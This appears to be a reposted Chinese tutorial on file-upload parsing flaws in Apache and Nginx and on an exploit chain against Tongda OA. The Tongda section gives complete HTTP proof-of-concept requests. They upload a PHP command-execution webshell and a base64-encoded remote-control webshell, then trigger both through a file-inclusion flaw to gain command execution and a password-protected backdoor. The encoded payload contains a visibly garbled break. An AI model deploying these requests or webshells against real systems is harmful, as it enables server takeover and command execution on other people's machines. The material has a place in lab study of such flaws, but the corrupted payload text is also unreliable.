文件上傳之解析漏洞編輯器安全


中間件解析漏洞演示

1. 低版本apache解析漏洞

原理:
在低版本的apache中,若文件后綴x.php.xxx.yyy,在服務器中若此文件.yyy后綴不被解析,則依次向前解析,成功為止。
利用場景:
若探測到服務器中間件apache為較低版本的話,我們利用文件上傳,上傳一個不被識別的文件后置,利用解漏洞規則成功解析該文件,文件中的后門代碼就會被觸發。
簡單演示:
准備兩個后門文件,一個正常php后綴,一個php.xxx后綴
image
成功解析:
image

2. Apache HTTPD 換行解析漏洞(CVE-2017-15715)

漏洞原理

Apache HTTPD是一款HTTP服務器,它可以通過mod_php來運行PHP網頁。其2.4.0~2.4.29版本中存在一個解析漏洞,在解析PHP時,1.php\x0A將被按照PHP后綴進行解析,導致繞過一些服務器的安全策略。

漏洞復現

開啟靶場環境:

docker-compose build
docker-compose up -d

啟動后訪問8080端口:
image
上傳php文件並抓包:
image
被攔截了
在1.php后面插入一個\x0A,(注意,不能是\x0D\x0A,只能是一個\x0A),不再被攔截:
image
訪問剛才上傳的/1.php%0a,發現能夠成功解析,但這個文件不是php后綴,說明目標存在解析漏洞:
image

3. Nginx 文件名邏輯漏洞(CVE-2013-4547)

影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理

這個漏洞其實和代碼執行沒有太大關系,其主要原因是錯誤地解析了請求的URI,錯誤地獲取到用戶請求的文件名,導致出現權限繞過、代碼執行的連帶影響。
我們只需要上傳一個空格結尾的文件,即可使PHP解析之。

漏洞復現

啟動靶場環境:

docker-compose up -d

啟動后訪問8080端口可看到一個上傳界面
image
這個環境是黑名單驗證,我們無法上傳php后綴的文件,需要利用CVE-2013-4547。我們上傳一個“shell.gif ”,注意后面的空格:
image
訪問http://your-ip:8080/uploadfiles/shell.gif[0x20][0x00].php,即可發現PHP已被解析:
image

常見web編輯器簡要分析

思路說明

有的網站中可能嵌入第三方web編輯軟件比如:fckeditor、ewebeditor、ckeditor、kineditor等。
一些網站也可通過掃描獲得編輯器信息,在其它地方不能突破時可以利用編輯器的漏洞進行getsell,可以在網上搜索相關編輯器漏洞利用即可。

CMS文件上傳漏洞演示

通達OA辦公系統

下載地址:
鏈接:https://pan.baidu.com/s/1vQ7-Yri0vXofjb8NqKBSFQ
提取碼:qwer
下載后安裝即可。
image
默認用戶admin密碼為空。

漏洞分析

該漏洞在繞過身份驗證的情況下通過文件上傳漏洞上傳惡意php文件,組合文件包含漏洞最終造成遠程代碼執行漏洞,從而導致可以控制服務器system權限。

漏洞復現

1. 任意命令執行漏洞

路徑為:ispirit/im/upload.php
抓包構造POC:

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

發送POC:
image
查看上傳成功的文件:
image
前台文件包含漏洞:修改數據包,包含前面上傳的jpg木馬文件,即可實現執行任意命令。此處執行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user

image
執行命令“ipconfig”:
image

2.getshell

前台任意文件上傳漏洞:抓取任意數據包,修改數據包進行重放,上傳后綴為jpg的木馬文件(木馬文件執行寫入文件操作)

Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC  ÿ
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

image
查看生成的圖片:
image
前台文件包含漏洞:修改數據包,包含前面上傳的jpg木馬文件,會在/webroot/ispirit/interface/目錄下生成一個 shell.php 文件。
成功執行:
image
查看/webroot/ispirit/interface/目錄生成的shell文件:
image
用冰蠍連接,/ispirit/interface/shell.php用冰蠍連接,http://localhost:999/ispirit/interface/shell.php
密碼為:pass
image

文件上傳漏洞總結

文件上傳漏洞大致思路

當我們拿到一個網站可通過掃描或手動查找是否有文件上傳的地方,比如會員中心等地方。
也可通過數據包或指紋識別是何種中間件,如是低版本可以利用一些解析漏洞上傳文件,進行黑白名單繞過測試。
再者知道是何種CMS的話可以利用CMS的漏洞。
一些網站使用第三方的編輯器,可以尋找編輯器的漏洞進行突破。
再者也可以找一些CVE編號漏洞進行利用。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM